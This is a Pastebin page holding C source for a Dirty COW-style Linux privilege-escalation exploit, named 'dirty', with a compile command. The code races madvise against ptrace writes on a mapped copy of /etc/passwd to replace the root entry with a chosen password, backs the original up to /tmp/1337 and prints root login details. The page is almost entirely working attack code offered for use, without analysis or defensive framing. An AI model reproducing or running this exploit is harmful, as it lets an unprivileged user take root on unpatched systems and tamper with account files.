Advertisement
xi4u7

dirty

Nov 19th, 2017
295
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 3.81 KB | None | 0 0
  1. //   gcc -pthread dirty.c -o dirty -lcrypt
  2.  
  3. #include <fcntl.h>
  4. #include <pthread.h>
  5. #include <string.h>
  6. #include <stdio.h>
  7. #include <stdint.h>
  8. #include <sys/mman.h>
  9. #include <sys/types.h>
  10. #include <sys/stat.h>
  11. #include <sys/wait.h>
  12. #include <sys/ptrace.h>
  13. #include <stdlib.h>
  14. #include <unistd.h>
  15. #include <crypt.h>
  16.  
  17. const char *filename = "/etc/passwd";
  18. const char *backup_filename = "/tmp/1337";
  19. const char *salt = "root";
  20.  
  21. int f;
  22. void *map;
  23. pid_t pid;
  24. pthread_t pth;
  25. struct stat st;
  26.  
  27. struct Userinfo {
  28.    char *username;
  29.    char *hash;
  30.    int user_id;
  31.    int group_id;
  32.    char *info;
  33.    char *home_dir;
  34.    char *shell;
  35. };
  36.  
  37. char *generate_password_hash(char *plaintext_pw) {
  38.   return crypt(plaintext_pw, salt);
  39. }
  40.  
  41. char *generate_passwd_line(struct Userinfo u) {
  42.   const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
  43.   int size = snprintf(NULL, 0, format, u.username, u.hash,
  44.     u.user_id, u.group_id, u.info, u.home_dir, u.shell);
  45.   char *ret = malloc(size + 1);
  46.   sprintf(ret, format, u.username, u.hash, u.user_id,
  47.     u.group_id, u.info, u.home_dir, u.shell);
  48.   return ret;
  49. }
  50.  
  51. void *madviseThread(void *arg) {
  52.   int i, c = 0;
  53.   for(i = 0; i < 200000000; i++) {
  54.     c += madvise(map, 100, MADV_DONTNEED);
  55.   }
  56.   printf("madvise %d\n\n", c);
  57. }
  58.  
  59. int copy_file(const char *from, const char *to) {
  60.   // check if target file already exists
  61.   if(access(to, F_OK) != -1) {
  62.     printf("File %s already exists! Please delete it and run again\n",
  63.       to);
  64.     return -1;
  65.   }
  66.  
  67.   char ch;
  68.   FILE *source, *target;
  69.  
  70.   source = fopen(from, "r");
  71.   if(source == NULL) {
  72.     return -1;
  73.   }
  74.   target = fopen(to, "w");
  75.   if(target == NULL) {
  76.      fclose(source);
  77.      return -1;
  78.   }
  79.  
  80.   while((ch = fgetc(source)) != EOF) {
  81.      fputc(ch, target);
  82.    }
  83.  
  84.   printf("%s successfully backed up to %s\n",
  85.     from, to);
  86.  
  87.   fclose(source);
  88.   fclose(target);
  89.  
  90.   return 0;
  91. }
  92.  
  93. int main(int argc, char *argv[])
  94. {
  95.   // backup file
  96.   int ret = copy_file(filename, backup_filename);
  97.   if (ret != 0) {
  98.     exit(ret);
  99.   }
  100.  
  101.   struct Userinfo user;
  102.   // set values, change as needed
  103.   user.username = "root";
  104.   user.user_id = 0;
  105.   user.group_id = 0;
  106.   user.info = "root";
  107.   user.home_dir = "/root";
  108.   user.shell = "/bin/bash";
  109.  
  110.   char *plaintext_pw;
  111.  
  112.   if (argc >= 2) {
  113.     plaintext_pw = argv[1];
  114.     printf("Please enter the new password: %s\n", plaintext_pw);
  115.   } else {
  116.     plaintext_pw = getpass("Please enter the new password: ");
  117.   }
  118.  
  119.   user.hash = generate_password_hash(plaintext_pw);
  120.   char *complete_passwd_line = generate_passwd_line(user);
  121.   printf("Complete line:\n%s\n", complete_passwd_line);
  122.  
  123.   f = open(filename, O_RDONLY);
  124.   fstat(f, &st);
  125.   map = mmap(NULL,
  126.              st.st_size + sizeof(long),
  127.              PROT_READ,
  128.              MAP_PRIVATE,
  129.              f,
  130.              0);
  131.   printf("mmap: %lx\n",(unsigned long)map);
  132.   pid = fork();
  133.   if(pid) {
  134.     waitpid(pid, NULL, 0);
  135.     int u, i, o, c = 0;
  136.     int l=strlen(complete_passwd_line);
  137.     for(i = 0; i < 10000/l; i++) {
  138.       for(o = 0; o < l; o++) {
  139.         for(u = 0; u < 10000; u++) {
  140.           c += ptrace(PTRACE_POKETEXT,
  141.                       pid,
  142.                       map + o,
  143.                       *((long*)(complete_passwd_line + o)));
  144.         }
  145.       }
  146.     }
  147.     printf("ptrace %d\n",c);
  148.   }
  149.   else {
  150.     pthread_create(&pth,
  151.                    NULL,
  152.                    madviseThread,
  153.                    NULL);
  154.     ptrace(PTRACE_TRACEME);
  155.     kill(getpid(), SIGSTOP);
  156.     pthread_join(pth,NULL);
  157.   }
  158.  
  159.   printf("Done! Check %s to see if the new user was created.\n", filename);
  160.   printf("You can log in with the username '%s' and the password '%s'.\n\n",
  161.     user.username, plaintext_pw);
  162.     printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",
  163.     backup_filename, filename);
  164.   return 0;
  165. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement